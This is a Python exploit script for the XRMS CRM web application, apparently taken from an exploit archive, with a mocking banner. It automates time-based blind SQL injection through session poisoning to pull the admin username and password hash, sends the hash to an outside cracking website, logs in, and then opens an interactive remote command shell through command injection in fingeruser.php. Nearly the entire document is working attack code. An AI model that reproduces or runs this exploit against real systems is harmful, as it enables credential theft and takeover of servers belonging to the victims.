1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 |
####################### # XRMS Blind SQLi via $_SESSION poisoning, then command exec ######################### import urllib import urllib2 import time import sys usercharac = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.','_','-','1','2','3','4','5','6','7','8','9','0'] userascii = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 64, 46, 95, 45, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48] def banner(): print """ ____ / __/_______ _____________ ________ / /_/ / / / __ <code>/ | |/_/ ___/ __ </code>__ \/ ___/ / __/ /_/ / /_/ / _></ // / / / / (__) /_/\__,_/\__, (_)_/|_/_//_/ /_/ /_/____/ /_/ [+] fuq th3 w0rld, fuq ur m0m!\n""" def usage(): print " [+] Info: Remote Command Execution via $_SESSION poisoning to SQLi to RCE" print " [+] Example:" print " [+] python " + sys.argv[0] + " domain.to/xrms" quit() def sendhashaway(hash): print " [+] Sending hash to icrackhash.com to be cracked." data = None headers = { 'Referer' : 'http://icrackhash.com/?mdhash=' + hash + '&type=MD5','User-Agent' : 'Mozilla','X-Requested-With' : 'XMLHttpRequest'} url = 'http://www.icrackhash.com/?mdhash=' + hash + '&type=MD5' gh = urllib2.Request(url,data,headers) gh2 = urllib2.urlopen(gh) output = gh2.read() plaintext = getpositions(output,'<td><small><strong>','</strong>') print " [-] Plaintext of hash: " +plaintext + "\n" return plaintext def username(length): length = length + 1 duser = [] #1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- - found = 0 i = 1 payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(username," payload2 = ",1)=CHAR(" payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -" for i in range(1,length): found = 0 while(found != 1): for f in range(0,len(userascii)): class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler): def http_error_302(self, req, fp, code, msg, headers): infourl = urllib2.addinfourl(fp, headers, req.get_full_url()) infourl.status = code infourl.code = code return infourl http_error_300 = http_error_302 class HeadRequest(urllib2.Request): def get_method(self): return "POST" payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3 data = urllib.urlencode([('user_id',payload)]) url = 'http://'+domain+'/plugins/webform/new-form.php' opener = urllib2.build_opener(LeHTTPRedirectHandler) req = HeadRequest(url,data) prepare = opener.open(req) cookie1 = prepare.info() cookie2pos1 = str(cookie1).find('PHPSESSID') cookie2pos2 = str(cookie1).find("\n",cookie2pos1) line = str(cookie1)[cookie2pos1:cookie2pos2 - 9] line = 'XRMS' + line[9:] url = 'http://'+domain+'/plugins/useradmin/fingeruser.php' headers = { 'Cookie' : line } data = None start = time.time() get = urllib2.Request(url,data,headers) get.get_method = lambda: 'HEAD' try: execute = urllib2.urlopen(get) except: pass elapsed = (time.time() - start) if(elapsed > 1): print " Character found. Character is: " + usercharac[f] duser.append(usercharac[f]) found = 1 return duser def getusernamelength(): found = 0 i = 1 payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(LENGTH(username) = '" payload2 = "',BENCHMARK(50000000,MD5(0x34343434)),NULL) FROM users-- -" while (found != 1): class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler): def http_error_302(self, req, fp, code, msg, headers): infourl = urllib2.addinfourl(fp, headers, req.get_full_url()) infourl.status = code infourl.code = code return infourl http_error_300 = http_error_302 class HeadRequest(urllib2.Request): def get_method(self): return "POST" payload = payload1 + str(i) + payload2 data = urllib.urlencode([('user_id',payload)]) url = 'http://'+domain+'/plugins/webform/new-form.php' opener = urllib2.build_opener(LeHTTPRedirectHandler) req = HeadRequest(url,data) prepare = opener.open(req) cookie1 = prepare.info() cookie2pos1 = str(cookie1).find('PHPSESSID') cookie2pos2 = str(cookie1).find("\n",cookie2pos1) line = str(cookie1)[cookie2pos1:cookie2pos2 - 9] line = 'XRMS' + line[9:] url = 'http://'+domain+'/plugins/useradmin/fingeruser.php' headers = { 'Cookie' : line } data = None start = time.time() get = urllib2.Request(url,data,headers) get.get_method = lambda: 'HEAD' try: execute = urllib2.urlopen(get) except: pass elapsed = (time.time() - start) if(elapsed > 1): print " Length found at position: " + str(i) found = 1 length = i return length i = i + 1 def password(length): length = length + 1 dpassword = [] #1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- - found = 0 i = 1 payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(password," payload2 = ",1)=CHAR(" payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -" for i in range(1,length): found = 0 while(found != 1): for f in range(0,len(userascii)): class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler): def http_error_302(self, req, fp, code, msg, headers): infourl = urllib2.addinfourl(fp, headers, req.get_full_url()) infourl.status = code infourl.code = code return infourl http_error_300 = http_error_302 class HeadRequest(urllib2.Request): def get_method(self): return "POST" payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3 data = urllib.urlencode([('user_id',payload)]) url = 'http://'+domain+'/plugins/webform/new-form.php' opener = urllib2.build_opener(LeHTTPRedirectHandler) req = HeadRequest(url,data) prepare = opener.open(req) cookie1 = prepare.info() cookie2pos1 = str(cookie1).find('PHPSESSID') cookie2pos2 = str(cookie1).find("\n",cookie2pos1) line = str(cookie1)[cookie2pos1:cookie2pos2 - 9] line = 'XRMS' + line[9:] url = 'http://'+domain+'/plugins/useradmin/fingeruser.php' headers = { 'Cookie' : line } data = None start = time.time() get = urllib2.Request(url,data,headers) get.get_method = lambda: 'HEAD' try: execute = urllib2.urlopen(get) except: pass elapsed = (time.time() - start) if(elapsed > 1): print " Character found. Character is: " + usercharac[f] dpassword.append(usercharac[f]) found = 1 return dpassword def login(domain,user,password): cookie = "XRMS=iseeurgettinown4d" url = 'http://'+domain+'/login-2.php' headers = { 'Cookie' : cookie } data = urllib.urlencode([('username',user),('password',password)]) a1 = urllib2.Request(url,data,headers) a2 = urllib2.urlopen(a1) output = a2.read() if output.find('PEAR.php') > 0: print " [+] Logged In" def commandexec(domain,command): cookie = "XRMS=iseeurgettinown4d" cmd = urllib.urlencode([("; echo '0x41';" + command + ";echo '14x0';",None)]) headers = { 'Cookie' : cookie } data = None url = 'http://'+domain+'/plugins/useradmin/fingeruser.php?username=' + cmd b1 = urllib2.Request(url,data,headers) b2 = urllib2.urlopen(a1) output = b2.read() first = output.find('0x41') + 4 last = output.find('14x0') - 4 return output[first:last] banner() if len(sys.argv) < 2: usage() domain = sys.argv[1] print " [+] Grabbing username length" length = getusernamelength() print " [+] Grabbing username characters" tmpuser = username(length) adminusr = "".join(tmpuser) print " [+] Grabbing password hash" tmppass =password(32) admpass = "".join(tmppass) print " [+] Admin username: "+ adminusr print " [+] Admin password hash: " + admpass plain = sendhashaway(admpass) login(domain,adminusr,plain) while(quit != 1): cmd = raw_input(' [+] Run a command: ') if cmd == 'quit': print " [-] Hope you had fun :)" quit = 1 if cmd != 'quit': print " [+] "+ commandexec(domain,cmd) |